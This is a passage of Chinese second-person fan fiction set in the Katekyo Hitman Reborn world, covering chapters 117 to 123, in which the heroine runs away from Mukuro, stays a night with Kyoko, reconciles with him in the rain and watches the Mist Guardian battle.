“不管怎么样,守护者戒指应该是一枚非常重要的东西没错吧,能让彭格列把这么重要的东西交给一个前不久还要控制他们首领的人,我想,里世界的黑手党大概还没达到以德报怨的境界。” 你看到六道骸沉默下来了,轻轻推开了六道骸,你从秋千上离开,“你的理由说服不了我。” 你不愿意猜测六道骸会有加入彭格列的想法,看他现在的表现,你也相信他没有加入彭格列,并且依旧和你一样深深恨着黑手党。 六道骸:“你可以看着我,春也。” 六道骸察觉到你的情绪,他站在原地没有立刻拉住你的手,“你可以好好看着我,春也。” 六道骸喜欢把一切团吧团吧埋葬在心底最深处,你知道要让他彻底剖析自己是一件很困难的事,所以你也没想过要让他把自己完完全全坦诚在你面前,可即便如此,六道骸也没向你彻底解释清楚戒指这件事情。 你当然可以相信库洛姆是在卧底,戒指代表了信任,或许等待时机成熟,你们可以凭借这点毫不犹豫地重创彭格列,但望着六道骸脸上的表情,很明显,连他自己现在都没有彻底搞清楚这一切,又怎么能做到简单地说服你。 更何况,有了十年后的前车之鉴,六道骸并不想在这上面多做谎言的包装。 他在向你坦诚,你看到了六道骸迈出的这一步,所以你只是平静地制止了他想要再度跟上来的心思。 “我需要一个人静静。” “你也不想我讨厌你吧,骸。” 六道骸沉默盯着你离开的背影,他好像又把事情搞糟了。 * 你离家出走了。 一开始,大家只以为你是散心,但等到晚上你还没有开始回来时,城岛犬终于忍不住急了,他甚至开始埋怨骸大人为什么放任你离开,而不是选择暗中跟踪你观察你。 柿本千种:…… 柿本千种微妙赞同着城岛犬的想法,但他没有立刻说出来,柿本千种只是安静望向沉默坐在沙发上不说话的六道骸。 六道骸这段时间还没来得及剪头发,本就不算短的刘海不知不觉又长长了一点。细软的黑色刘海遮挡住他的眼睛,柿本千种看不清骸大人眼底的真实情绪,于是,柿本千种只是轻轻拍了拍城岛犬,冷静道:“犬,抱怨没有用,春也身上有骸大人的标记,不用太担心。” 话是这么说,但城岛犬分明看到了柿本千种因为过于用力而开始泛白的指关节,很明显,柿本千种的心情也不像他表现出来的那么镇定。 呆在不远处的库洛姆低头看着手上的戒指,她悄悄握住手试图将它隐瞒,坚硬的戒指硌着她柔软的掌心,库洛姆认真感知着戒指带来的细微疼痛。 “我们可以出去找她。”忽然,库洛姆开口,“春也出去的时候身上什么都没带,我们无法用手机联络她。现在外面天黑了,春也又没有带钱……” 库洛姆说的话正是城岛犬和柿本千种现在担心的事情,城岛犬绕地转了两圈,脸上是肉眼可见的焦虑,终于,城岛犬猛地在原地站定,“我要去找春也!” 柿本千种没有反对意见,“我和你一起去。” 城岛犬看向了还袋呆在沙发上一直没说话的六道骸,“骸大人……” 眼珠微动,六道骸不动声色从你身体里抽离,睁开眼睛,他缓缓起身,虽然没有说话,但六道骸用行动表明了他的态度。 库洛姆看看犬又看看千种,她默默举起手,“我也和你们一起。” 和城岛犬、柿本千种担忧的想象不同,你现在正待在一处温暖轻松的地方。 手里捧着一杯热茶,你坐在厚实的地毯上,萦绕的雾气将眼前女孩的身影模糊,你轻轻抿了口茶水,轻缓道:“谢谢你,笹川京子。” 被叫做京子的女孩有着一头灿烂耀眼的橘色短发,她穿着松垮的吊带鸭子坐在你对面,听到你的话,她露出了一个可爱到能融化人的笑容。 “不用谢,其实我也对春也同学好奇很久了呢。” 第118章 笹川京子是在回家路上遇到你的。 西沉的太阳, 昏暗的路灯,你站在十字路口,目光茫茫地望向远方, 只一眼, 笹川京子就认出了你。 今春也——学校里的风云独狼, 爱好翘课早退但从未被风纪委员逮到过, 成绩常年占据第一,从不和除了沢田纲吉和山本武以外的人走在一起。 笹川京子听过很多遍男女生们羡慕沢田纲吉和山本武能被你偏爱的言论, 不知为何, 大家统一认为你是因为第一次转学过来就看到有人欺负废柴纲,对并盛好感度哐哐猛降的你孤立了所有人。 尽管如此, 你的身上依旧带着难以言喻的魅力,大家还是不可避免的对你产生了好感。 笹川京子就是其中的一员,她听过你的很多传说版本,但苦于你总是不在学校,笹川京子一直都没有找到过好时机和你交朋友。尤其是最近, 你已经连续好几天没来上学了,笹川京子自己也没想到再次看到你会是现在这样的场景。 像一只无精打采的猫, 你安静站在路灯下, 昏暗橙黄的光线像朦胧的雾气,轻飘飘笼住你所有,笹川京子只犹豫了一下,她缓缓朝你靠近,然后慢慢站在你拉长的影子一角。 “要来我家喝一杯热茶吗?” 突然的声音惊扰了你,转过身,你看到年轻的女孩提着小蛋糕,鬼使神差, 你选择跟着她离开。 凭借一句话,笹川京子捡了只离家出走的猫。 而现在,你坐在好心的同学面前,手里捧着杯热茶,你一直无法安定的心在此刻忽然平静了下来。 笹川京子没有询问你的状况,她只是哼着歌在你们面前摆好精致的小蛋糕,瞥见你好奇望过来的眼神,笹川京子轻咳一声,不好意思道:“我也没有每天买蛋糕啦,每个月会控制购买次数。不过这家的蛋糕味道超级好,你可以试试。” 说着,笹川京子切了一半分给你,你微愣,“这也太多了。” 笹川京子眯眼笑,“不多哦,食物就是要一起分享吃才会快乐呀。” “而且,甜食可以让人心情变好哦。” 动作微顿,你垂下眼睛。 这句话,你也听六道骸他们说过。美好的事物总能治愈人心,很多时候,当你心情不好时,柿本千种总会自觉做好一大桌你爱吃的事物,城岛犬会去买大家都喜欢的零食,而六道骸,他会选择购买一大堆甜品和巧克力。 回忆过去,你脑海里浮现的永远都是快乐的时光。 ……如果当初大家没有来到并盛就好了,你逃避般的想。 该死的沢田纲吉!你忽然迁怒起那个棕眼睛的兔子少年。 该死的彭格列该死的黑手党! 为什么偏偏沢田纲吉要有黑手党的血脉!! 你只一想起他燃烧着火焰对你的庄重宣誓,然后,戒指、黑手党、彭格列一系列令人烦躁的事情纷纷挤入你的脑海,你的嘴角开始下撇。 笹川京子敏锐察觉到你忽然低落的情绪,她没有选择直白地问你,而是叉起一小块蛋糕送到你鼻子底下。 香浓甜美的气息一下唤醒你的思绪,你抬头看了单手托腮的笹川京子一眼,身体微微前倾,你张口吃下了那块蛋糕。 和笹川京子说的一样,这块蛋糕的味道确认令人惊艳,抛开那些杂乱的思绪,你决定至少此刻,你要好好享受蛋糕。 笹川京子笑眯眯地问道:“怎么样,是不是很好吃?” 你赞同她的口味,“这是我吃过最好吃的蛋糕,感觉身体也轻飘飘地化成了一片奶油,什么烦恼都没了呢。” 吃完后,笹川京子看了眼外边黑漆漆的天空,她向你发出了邀请,“春也今天要先在我家住一晚吗?” 你想到还在家里等你的骸、犬和千种,虽然你是有不回家的想法啦,但你也没想过要住在陌生同学家,所以你拒绝了笹川京子,“不用了,我还有别的事情要做呢。” 听到你的回答,笹川京子也没再继续挽留。最初她会选择带你回家也只是担心那个时候的你。 准备离开前,你借用了下卫生间。站在镜子面前,你拿出口袋里六道骸送你的耳钻。当时你收下了它,犹豫了下,你还是选择把它拿出来。 不过奇怪的是,这枚耳钻只有一个。 灯光下认真观察半天,也不知道你照到了哪个角度,纯蓝色的宝石里隐约闪过一丝诡谲的红。 捏着耳钻对着镜子里的你比划了半天,最终,摸了摸左耳,你轻轻把耳钻贴在耳垂偏中间的位置。冰凉的耳钉刺激着你的皮肤,你用力按了下去,瞬间,长长的耳钉直接贯穿你的耳垂。 没有出血,没有疼痛,只有耀眼璀璨的靛蓝色宝石在灯光下散发着夺目的流光。单手撩起左侧的长发,你看着镜子里的耳钻,恍惚间,你看到六道骸正隔着镜面和你对视。 “那我就先走了。”你上前轻轻抱了下笹川京子,“其实我也知道你哦,并盛超级可爱的京子同学。” 笹川京子愣了一秒,随即她轻笑着回抱住你,“虽然我很想送送你,但似乎已经有人来接你回家了呢。” 你:“什么?” 笹川京子松开了这个拥抱,她带着你来到窗户前,撩起一侧的窗帘,笹川京子的手指轻轻在冰凉的窗户上滑动,你的视线随着她的动作不断移动,直到在某一点定格。 “看,从你进卫生间开始,那个人就等在了下面。”笹川京子不确定他有没有发现她们,但谁会管呢,她还是更在意你的态度,“是班上新来的转学生吧。” 看到你诧异的目光,笹川京子眼里透着一丝狡黠,“毕竟可不是谁的发型都这么特殊呢。” 看来六道骸远比你想的要更出名呢。 笹川京子:“如果春也不愿意的话,还有我哦~” 你沉默片刻,“……不,其实我也没有那么不情愿。” 你只是有点害怕一个可能性。 随手拉起窗帘,你隔绝了六道骸的视线,却无法隔绝他的感知。 望着紧闭的房门,你叹了口气,“抱歉,我今天大概要打扰你了。” 笹川京子弯腰握住你的双手,“不,不是打扰,正相反,我很高兴今天能够遇到你。” 六道骸没有上楼催促打扰你,你相信他肯定看到了你,你也相信你一直不下去他会理解你的意思,但出于微妙的直觉,你掩饰性问了一句,“这两天是什么天气?” 笹川京子拿起手机翻看着,她小声惊呼,“呀,今天晚上有雨诶,但是不知道几点会开始落雨,明天也有雨,往后几天才会变晴呢。” 会有雨…吗?你下意识扭头看向窗外,但刚刚你拉起的窗帘隔绝了六道骸的视线,也隔绝了你想要窥探天空的目光。手指不自觉摩挲着身下的床单,你扔开烦闷,干脆掀起被子罩住你的脑袋,连同未知的天气一起,统统藏进香喷喷的被子里。 “我要睡了。”你的声音听上去硬邦邦的,但笹川京子明白让你情绪烦躁的根源是谁,她体贴地关上灯,然后动作轻缓地躺在你边上。 “我睡眠很深的。”旁边传来窸窸窣窣的动静,你感觉到笹川京子在向你靠近,她小声说道:“有的时候就算打雷,我也会无知无觉睡得香甜。哥哥说,就是因为这样他才会不放心我。” “笹川同学还有哥哥吗?” “叫我京子就可以。”大约是想缓解你的情绪,笹川京子自然而然聊起了她哥哥笹川了平,“他是拳击社的,比我们大一个年级,春也不知道他也是很正常的事。我没有刻意宣传过这件事,但也没有隐瞒。” 说到这,笹川京子俏皮笑道:“不过我想,我们的姓氏已经暴露了很多。” “我觉得一般人应该不会联想到那家伙是你的哥哥。” 你稍微听过一点笹川了平的事迹,毕竟并盛中学就那么大,有点名气的学生大都存在于不同学生的嘴里,偶尔路过都能听到一两句有关学校风云人物的事迹。而笹川了平最出名的就是他的极限口头禅。 “笹…京子的哥哥是一个很有个性的人。” 笹川京子笑了,你看得出她很在乎自己的哥哥。 这就是家人啊。 莫名的,你想到了骸骸、犬和千种。 笹川京子说了很多她哥哥的事情,见你情绪平缓,她试探性地问了句,“六道骸同学也是春也的哥哥吗?” “不。”你说道,“他是我的家人。” 尽管你可能聪明地发觉了某种征兆,但你悲哀地发现,你无法否认你们之间这层无法割断的关系。 “骸,犬,千种……” “他们都是我最珍爱的家人。” 你必须得承认这一点,而你也无法反驳。 “但是现在,我发现我们可能起了点分歧。” “一点…小小的分歧。” 忽然,你看向笹川京子,“京子,如果你哥哥和你发生了分歧,你会再也不理他吗?或者……断绝关系?” 笹川京子的表情很讶异,她语气温和而不失坚定,“当然不会,不管怎么样,他都是我的哥哥啊。” “说起来,最近也确实发生了很多事,不知道从什么时候开始,我哥哥总是会在我看不见的地方受伤,明明小时候他已经答应过我不要再打架受伤的。这大概算是我们最近的一个小分歧。” “那京子会怎么做?” “一开始,我一无所知,我也很害怕。”黑暗中,笹川京子幽幽叹了口气,“他们总以为我是一个笨蛋,什么都发觉不了。但是我想,我大概能理解一点我哥哥的想法。他想要保护我。” “不过我想,大概这里面也是有我能做的事情。” “我会牢牢看着我哥哥,就算走了分歧路也没关系,我会把他拉回来。”已经把未来理想职业修正为警察的少女如是想。 “不管发生什么,哥哥永远是哥哥,我绝不会放弃他。” 你突然就明白了,大脑像是开了光,你终于知道你真正要做的是什么了。 为什么你要选择远离呢? “我们可是家人啊。”你喃喃说道,黑暗里的灰蓝眼睛闪着偏执的光,“家人是无法分开与放弃的。” 有分歧,那就打断他们想要越过分歧的翅膀。 你的家人,必须绝对属于你。 * 健康温馨的思想碰撞结束后,笹川京子很快睡了过去,只有你还数着冷风路过窗户的次数迟迟无法入睡。 脑海里一边想着夜里会下大雨,一边思考着你接下来该怎么做,一边又认为骸骸不会傻乎乎地一直站在楼底下等着你。 直到窗帘外忽然亮起昼光,而后沉闷的雷声紧随起来,刚浅眠的你一下惊醒,下意识看向京子,她睡得正香,完全没听到雷声。 在你躺在床上发呆的几秒钟,大雨倾泻而下,哗啦啦吵在你耳边,惹得你根本无法专心入睡。 犹豫着,你小心翼翼起身,来到窗边,指尖小心翼翼挑起一侧窗帘,你低头看向窗外,都不用你寻找,你就看到了一个傻愣愣站在楼底下的人。 笨蛋凤梨甚至都不知道躲雨,他站在大空地,低着头不知道在想些什么。 也许是他蠢到下雨不知道回家,也许是他施展苦肉计,但你知道不管是哪一种,你都做不到放任他站在那里淋一整夜的雨。 拿笔简单在纸上写了你的踪迹,你把它垫在餐巾纸上,然后轻手轻脚走出了卧室。一路上,你都注意着没让自己发出动静,直到打开大门,你看到六道骸湿漉漉地朝你露出一个笑。 “我来接你回家,春也。” 轻轻关上大门,你没有管漫天大雨,你直直朝那道人影冲了过去。 “你是笨蛋吗?!” 喧嚣的大雨把你的声音融在了天地中,噼里啪啦的雨珠甚至都打得你睁不开眼睛,你看到六道骸丝毫不在意自己淋着雨,他抬手捏上你的耳垂,大拇指轻轻擦过你左耳的耳钻,迎着昏暗的路灯光线,你看到他慢条斯理地朝你倾身。 “想知道最后一枚在哪里吗?” 六道骸握住你的半只手掌,他带着你的手摸上他的右耳,你在同样的位置摸到了同样的东西。 ——是另一只耳钻。 你忍不住撩开他遮住耳朵的碎发,一枚灰蓝色的宝石赫然安静呆在那,它一直等待着你的发现。 “这是苦肉计吗?” 六道骸又笑了,他今天笑得次数似乎有些多,你听到他低沉神秘的声音缓缓在你耳边响起,“kufufufu…如果我说是,那春也有没有中计呢?” 靛青色的半长发在昏暗的夜里显出几分黑,雨珠顺着他的发丝滑落,睫毛、脸颊、锁骨,再到湿透了的衬衫…… 紧实流畅的肌肉线条在湿透了的白衬衫下若隐若现,单薄的衬衫紧紧贴着他的身体,原本的白色隐约显出几分涩气的肉色,六道骸握住的你的那只手始终没有放下。 “我已经什么都说了。”吵闹的风,喧嚣的雨,六道骸不高不低的声音散在风里雨里,“没有再欺瞒你了,春也。” 从你离开后,六道骸就一直藏在你的灵魂里,他看着你的一切,透过灵魂,透过并盛的动物,透过镜子,透过你的那枚耳钻…… 雾一直与你同在。 “不要再一个人离开了。” “犬、千种,还有库洛姆,一直在找你。” “我也在注视着你,春也。” 你摸着六道骸温凉的脸,从他睫毛落下的雨珠好似泪水,沉甸甸砸到了你心脏。 “我不会再走了。” 你不会再选择逃避了,你会正视他们的错误,然后…… 踮起脚尖,你轻吻了雨中苍白的凤梨。 “我会永远陪着你,骸。” 第119章 你开始观察六道骸、城岛犬和柿本千种。 和你以为的不一样, 收下守护者戒指后,骸骸、犬和千种并没有给沢田纲吉他们好态度,相反, 几个人碰在一起, 总是会忍不住吵上几句, 尤其是已经成了沢田纲吉左右手的狱寺隼人。 大约是曾和柿本千种战斗过, 狱寺隼人每次看到犬和千种的态度都差劲极了,而每每当他们快要打起来的时候, 沢田纲吉便会熟练的在旁边拉架。 更多的时候, 骸、犬和千种照常选择陪在你身边,现在或许还多了一个库洛姆。 啊, 还有狱寺隼人。 本来你以为你们不会再有相见的一天,没想到再次见面会这么的戏剧性。狱寺隼人从一开始就是一名货真价实的黑手党,所以他会选择跟随彭格列的第十代继承人在你看来也不是那么难以接受的事情。 你完全没打算和他叙旧,你相信狱寺隼人也没有这个想法,所以, 在他把你拦在路口时,你无法理解他的行为。 你冷淡抬眼, “有事?” 你不觉得狱寺隼人会不知道你讨厌黑手党的事情。 狱寺隼人烦躁地抓了抓头发, 紫色衬衫只随意扣了中间三个扣子,领口松松垮垮地塌下,你轻而易举就能看到他衣服下缠绕的白色绷带。 “你……” 狱寺隼人像是想说什么,他刚开了一个口,但瞥到你脸上的表情后,狱寺隼人莫名咽下了他所有想说的话。 恰好,你也不是很想听。 眼底是毫不掩饰的恶意,你不耐烦地掀起眼皮, “你应该知道我讨厌黑手党吧。” 狱寺隼人脸上没有诧异的表情,你就知道沢田纲吉肯定和他的左右手提过这件事,心情恶劣地撇下嘴,你扬起下巴警告道:“这次就算了,下次我可不会就这么轻易地放你离开。” 说完,你也没有管狱寺隼人会出现什么反应,你直接绕过他离开了这里,只留下狱寺隼人一个人烦闷地望着你的背影。 “狱寺原来在这啊。” 狱寺隼人在原地站了不知道有多久,等到他完全看不到你背影的时候,一道清爽明朗的声音忽然打断了他烦扰的思绪,狱寺隼人不用看就知道是谁。 “你来干什么?” 不动声色观察了下周围,确认没有异常后山本武自然收回视线,他笑容不变,“阿纲有事情找我们,我猜你可能会出现在这里,没想到真的找到了。” 一听是十代目的传话,狱寺隼人立马回神,他踏上你离开的路线往沢田纲吉家走去。 狱寺隼人确实从十代目的口中得知了你讨厌黑手党的事情,他也不知道自己为什么会突然想要见你一面,明明之前也没有试图打扰你的生活。可能是因为下一场就是他和瓦利亚的战斗…… 想起你确实的厌恶态度,翡翠般的绿眼睛里暗了一瞬,很快,狱寺隼人就把那些情绪抛到脑后,然后笑容灿烂地敲开了十代目的家门。 你没有关注敌人的日常。 虽然并盛确实来了群奇奇怪怪的人,但学校并没有因为这种小事停课。坐在教室里,你抬头无意瞥了眼前方,发现某个位置空荡荡后,你慢慢收回了目光。 果不其然,这一切又是和彭格列相关的事情。 掰着指头数了数,你恍然惊觉沢田纲吉已经连着好几天都请了假,六道骸也在神出鬼没的人选里面。 ……也许里面会有什么阴谋。 咬着笔头,你认真思考,毕竟六道骸现在明面上的身份是收下了彭格列守护者戒指的存在,暗地里的身份却是狡诈的卧底,而彭格列绝大多数人都对六道骸不友好,你很有必要怀疑他们会不会派出六道骸打针对。 沢田纲吉的行踪并不难查,你决定趁所有人不备悄悄跟踪他。 第120章 在发现沢田纲吉的秘密之前, 你率先发现了狱寺隼人——在医院里。 被包成绷带稻草人的狱寺隼人僵直躺在床上,旁边站着探望的沢田纲吉和山本武,还有一位豆沙发色、戴着护目镜的奇怪女性, 她的怀里抱着里包恩, 脚下是小奶牛毫不留情的嘲笑声。 唯一的医生态度随意, 他似乎并不怎么在意疑似重病的狱寺隼人, 反而屁颠屁颠跟在那名女性的身后。 ……被揍了。 病房门没有关严实,房间里奇奇怪怪的景象透过房门缝隙悄悄溜入你的眼底, 你只简单看了眼, 目光在狱寺隼人缠满绷带的身体短暂停留片刻,你悄无声息离开了这里。 门后, 六双眼睛不约而同看向你。 狱寺隼人和山本武什么也没看到,他们很快收回视线,沢田纲吉隐隐察觉到什么,他低头看了眼受伤的狱寺隼人,不知道想到了什么, 沢田纲吉的眼神慢慢坚毅。 夏马尔挑了下眉,他看了眼里包恩, 没有说话, 后者压了压帽檐,漫不经心收回视线,里包恩看向沢田纲吉。 “蠢纲,别忘了你今天的训练。” 跟踪人是一门技术活。 在你第一次尝试跟踪时,里包恩的目光似有若无落在了你身上,尽管当时你机敏地躲在了旁边茂密的灌木丛,但你怀疑他好像看到了你。 但下一秒,不知道为什么, 这位家庭教师突然给了沢田纲吉重重一击,伴着沢田纲吉疼痛抱怨的背景音你,你困惑又警惕地盯着他们。 ——这和你想象中的黑手党日常不太一样。 你迟疑地想,沢田纲吉好像还是那个沢田纲吉,他依旧会碎碎念的小声抱怨,依旧会在跌倒后露出感染力十足的大空笑容,依旧喜欢热乎乎的汉堡饭……唯一和过去有所区别的是,沢田纲吉眼底似乎多了更多沉重坚毅的情绪。 就好像一夜之间,他忽然学会了成长。 偶尔你也会想,如果你是个干脆的坏蛋就好了,那么你就不会因为看到灰扑扑的沢田纲吉而感到莫名的难过。 见沢田纲吉只是枯燥的练习,和来时一样,你悄无声息地离开了这里。 在你走后,又是一击对打,沢田纲吉缓缓从死气状态下走出,和巴吉尔的训练结束后,他累得跌坐在地上,大口大口喘着气,沢田纲吉下意识瞥向你离开的方向,“春也走了吗?” 戴着手套不方便,沢田纲吉直接抬起手臂用袖口简单擦拭了下自己脸上的灰尘,没注意触碰到细细密密的小伤口,沢田纲吉只是轻微皱了下眉,他并没有在意这点擦伤。 巴吉尔投来好奇的目光。“春也是沢田大人认识的人吗?” “嗯,是我的…一个朋友。” 尽管你可能在心里慢慢抹去他的痕迹,但沢田纲吉依旧不愿否定这段感情,他会努力让你重新认可他的! 你并不知道你过去的小伙伴是一个异常执着的人,发现白天他们只是暗戳戳远离人群锻炼后,你开始把目光投向并盛的夜晚。 并盛的夜晚是平和安定的夜晚,在云雀恭弥的统治下,并盛几乎不会发生恶性事件。再加上并盛居民的作息规律又健康,夜里很少能看到人影在路上活动。 行动敏捷地跟在沢田纲吉后面,你目睹着他和狱寺隼人、山本武在十字路口碰面,然后慢慢走在你你熟悉的路线。 如果你没记错,这条路通往的应该是——体育馆。 夜晚的体育馆一反常态亮起明灯,偌大的空间里站满了不少人,你猜测那些你不认识的生面孔就是千种最近提到过的外来人员。 借着夜色隐蔽自己,你找了个视野绝佳的观赏席,不动声色把自己的存在感降到最低,你猫着身体暗戳戳打量着他们。 毫无防备的,你望进了一双时刻燃烧着愤怒的猩红眼睛。 黑发男人像只慵懒的雄狮漫不经心坐在椅子上,他姿态随意地翘着二郎腿,青蓝色的艳丽翎羽杂糅着不同色系的紫,点点红色像他永不停息的愤怒火焰,他只随意地抬起眼睛,冷意和杀意同时朝你倾泻而来,你下意识把自己往黑暗深处藏了藏。 ……不管怎么说,对比起沢田纲吉那几个根本没成年的同龄人,显然还是这群浑身散发着不简单气息的成熟大人更像具体的黑手党啊。 你没有等待多久,很快,你看到了体育馆里出现了你眼熟的人影——库洛姆。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 120-130 第121章 距离隔得比较远, 你听不太清他们的对话,但瞥了眼对面几个生面孔,单从他们和沢田纲吉的对恃来看, 你足以看出他们氛围的不融洽。 在他们中间, 两位戴着奇怪眼罩的粉色长发女性制止了他们的纠纷, 她们轻巧远离了战场, 而后宣布比赛开始。 你的视线重新移到库洛姆身上。 你没有和库洛姆接触太久,六道骸虽然和你说过库洛姆有着极强的幻术天赋, 但日常生活中你很少见过他们打斗的场面。在你的印象里, 库洛姆依一直都是一个身体脆弱的爱脸红的女孩。 而现在,你见识到了她在你面前完全不同的一面。 库洛姆手持三叉戟, 她表情严肃认真地望着对面的……小婴儿?你不由睁大了眼睛,确认库洛姆的对手真的只是一个货真价实的二头身Q版小婴儿后,你瞳孔地震。 虽然但是,异世界的黑手党业务已经开展到婴儿身上了吗?你很难不怀疑自己误入了什么奇怪的片场,当然, 最有可能的是,这些小婴儿其实是实验产物。可你观察过里包恩, 这个猜测由他本人亲自踩碎了。 你承认, 一开始你只是想观察一下沢田纲吉和不知道在哪的六道骸,但自从看了这场雾守之间的比赛后,你忍不住陷入了奇怪的恍惚。 最初进入这个世界后,通过那群不配为人的研究人员,你早就猜出这个世界存在奇怪的力量,而现在,真切看到他们之间的打斗后,你彻彻底底推翻了自己过去的世界观。 腾空而起的火柱、寒意逼人的冰块, 以及突兀腾起的雾气……六道骸出现了。 你的心跳不受控制漏了一拍。 圣洁的莲花在他眼底的数字跳为一后咻的出现,藤蔓完全缠绕着小婴儿,六道骸的脸上一如既往挂着散漫轻佻的笑意,挑衅的话语从他嘴里说出倒像是一种享受,低沉磁性的嗓音混杂着古怪的笑意,六道骸轻易就夺取了这场胜利的果实。 而后,他将目光遥遥投向你。 雾守战结束,切尔贝罗和瓦利亚的人悉数退场,只剩下彭格列的人还停留在原地。体育馆的灯一盏一盏缓缓熄灭,世界重新归于寂静,你默默看了眼自己现在的位置,你不觉得六道骸能从刚刚的位置能看到你。 犹豫了下,在你思考你该等他们全部离开再退场还是趁现在天色暗悄悄离场时,六道骸忽然动了。 “哦呀,春也是来接我回家吗?” 突然冒出的声音吓得你一个激灵,你下意识偏过脑袋,六道骸不知何时来到了你面前,黑手套混在夜色中几乎没有存在感,只有在触碰到你时,你才能感受到那股不属于人体的特殊质感。 “哼,我才没有那么好心。” 你撇过脑袋反驳了六道骸的幻想,视线下移,确认好落地位置后,你正准备跳下树,然后,六道骸先你一步轻松跃下,他张开手臂,嘴角弯起,六道骸抬起头,将你和月色一同望入眼底。 “好吧。”他这样说道,“那我来接你回家。” 说不清心里到底是什么情绪,在六道骸堪称轻松的姿态里,你一跃而下,飘扬的衣摆像振翅的蝴蝶,六道骸终于还是将你这只固执机敏的小鸟笼在了掌心。 第122章 接住你后, 六道骸没有立刻放你下来。风将他的发丝吹乱,柔软的靛青色在月光下泛着光泽,你紧紧抱住他的脖子, 六道骸顺着你的力道微微低头, 红蓝异瞳在月色下温和得不可思议。 “犬和千种以为你又离家出走了, 他们一直在找你。” 温热的掌心透过薄薄的黑手套传递到你腰间, 你甚至感觉六道骸的手指用力得都快陷入到你的骨骼。 现在你知道犬和千种没有到场的原因了。 你拍拍六道骸的手臂示意他松开,后者立马顺从你的意思放你下来。 你:“过去我一个人出门也没见他们找呢。” 六道骸垂下眼睛漫不经心道:“kufufu…大概是他们现在一刻也无法忍受与春也分离呢。” 上一次犬和千种应激还是你和他们走散了, 而前不久你的离家出走顷刻间就让他们回想起过去的应激反应。六道骸甚至有在考虑带你们离开这里, 但你最终还是选择了他。 你选择了他。 ……你爱着他。 清楚意识到这一点后,六道骸的心底无法抑制地涌出愉悦的情绪。他近乎爱怜地垂目注视你, 猩红的右眼以肉眼看不见的速度疯狂跳动着数字,直至缓缓在数字六终止。 死死压抑着快要从喉咙里溢出来的古怪笑意,六道骸朝你弯腰,半长的发丝倾泻遮挡住你的面庞,如同死死吊坠在半空的蛛丝, 密不透风地将你包裹缠绕。 你几乎要溺毙在这靛青色的天空里,朦胧的月光隔绝在他幽深浓密的发丝外, 黏稠的视线像幽灵悄无声息挂在你身上, 六道骸抬起手,极力克制下,手指还是不受控制地泄露出了一丝颤动,他缓缓覆上你的左半张脸。 你不解六道骸奇怪的举动,茫然抬头望向他,你感知到六道骸的大拇指正不轻不重摩挲着你的脸颊。粗糙的布料带了几分入夜的寒气,六道骸低声说道:“我会接受成为雾戒指的守护者,不过是为了更好的夺取沢田纲吉身体, 然后覆灭肮脏的黑手党。” “这看上去似乎是最容易达成覆灭黑手党的线路?” “你已经说过很多遍了,骸。” 你有的时候也会在思考,会不会存在一个更恰当、更完美的计划,来覆灭邪恶肮脏的黑手党。 “但我还是想再和你说一遍。”你听到六道骸低哑着嗓音在你耳边慢慢开口,“我们理应分享一切,春也。” 无论是沉溺黑暗里的计划,还是他肆意翻涌的……爱。 脑海里闪过沢田纲吉的脸,你不自觉后退一步,目光越过六道骸,你看到了不远处走过来的山本武、狱寺隼人……还有沢田纲吉。 沢田纲吉的脸上依旧挂着你熟悉的柔软笑容,他似乎完全忘记了你们前不久的决裂,照常开心地朝你打招呼。 “春也!”沢田纲吉先是叫了声你的名字,见你的目光落到他身上,沢田纲吉弯了弯眼睛。 视线短暂在你和六道骸亲密的姿势上停留两秒,沢田纲吉压下心底奇怪的情绪,蜜糖般的棕色眼瞳里自然流露出了担忧的情绪,“春也这么晚了还没睡吗?” 刚结束完一场战斗,大约是获得了胜利,沢田纲吉脸上并没有出现什么负面情绪,但也没出现特别的喜悦之情,你有注意到他观看比赛的时候表情全程都没放松过。 偶尔,你会从里包恩口中听到过山本武、狱寺隼人等人是沢田纲吉的手下,但沢田纲吉似乎并不这么认为,他真心把大家当成他的朋友。 ——包括你。 “怎么,你们都没睡,还要来管我吗?” 你语气依旧恶劣,拽过不听话的六道骸,你冷哼一声,但沢田纲吉丝毫没有生气,相反,发现你还愿意和他交流,沢田纲吉眼睛一亮,他立马顺竿子往上爬,“春也是在担心我吗?” 沢田纲吉腼腆又真诚地睁大眼睛看你,“我只是在担心春也,就算有云雀学长在,但是夜里一个人出门也是不太安全的。现在并盛来了些不太友善的人,我害怕春也会受到伤害。” “如果春也有想知道的事情,可以直接问我,我什么都会和春也说的。” 大胆忽视一旁里包恩似有若无的哼声,沢田纲吉嘚吧嘚吧说了一连串的话,他眨巴眨巴眼睛专注望着你,就好像还是那只直白真诚喜欢屁颠屁颠跟在你身后的乖巧小狗。 云层藏住了月亮,天地咻的暗了一瞬,在这茫茫黑夜里,你隐约间看到了一抹纯白干净的灵魂在无风的夜里闪闪发光。 污垢残秽浸染洗涤着他的灵魂,却没有留下丝毫黑暗。 沢田纲吉一直都是沢田纲吉。 你不自觉捏紧了六道骸的手,你总是无法理解沢田纲吉过于柔软的想法和性格,你选择后退一步,警惕又威胁式地盯着他,你恶狠狠抛下一句“不感兴趣”后,转身拉着六道骸离开了奇怪的沢田纲吉。 ……沢田纲吉,那个天真到无可救药的笨蛋。 就算到了现在,你依旧会在心里这么骂他。 回到家后,六道骸从库洛姆身上消失,你及时抱住了失去意识的库洛姆没有让她摔倒在地。库洛姆体重很轻,轻到连你都能不费力地抱起她。 小心翼翼把她放到床上,你轻轻摸了摸库洛姆没什么肉的脸,不经意划过她的眼罩后,你手指短暂停留片刻,然后很快收回。 “库洛姆。” 你无声叫了遍她的名字,目光落在她完整的雾戒指上,你伸出手不轻不重摩挲着那枚特殊的戒指,缓缓直起身,安静替她盖好被子后,你慢慢离开了库洛姆的房间。 你想,也许你能找到一个更完美的方法…… 安置好库洛姆后,没多久,犬和千种回来了,你猜是六道骸给他们报了信。 “春也!” 五感分外敏锐的城岛犬一回家就嗅到了你的味道,他连忙跑到你面前仔细嗅嗅嗅,确认你没有受伤,身上也没有沾染讨厌的陌生人的气味后,城岛犬这才松了口气。 出乎你的意料,城岛犬和柿本千种并没有对你这次出行多说什么,他们也没有和你提自己的应激反应,就好像你只是和以前一样普通的出了个门,城岛犬和柿本千种同时给了你一个温暖的拥抱。 “欢迎回家,春也。” 第123章 你想要的机会很快就送到了你眼前。 * 之后, 六道骸简单和你解释了下守护者戒指的争夺战,你最讶异的是云雀居然也加入了彭格列组织,包括那个最初你看到的小奶牛, 甚至连京子的哥哥也…… 回想起笹川京子担忧无奈的表情, 你无声垂下眼睛。 “那我们干脆搬走吧。” 城岛犬打着哈欠, 冷不丁的, 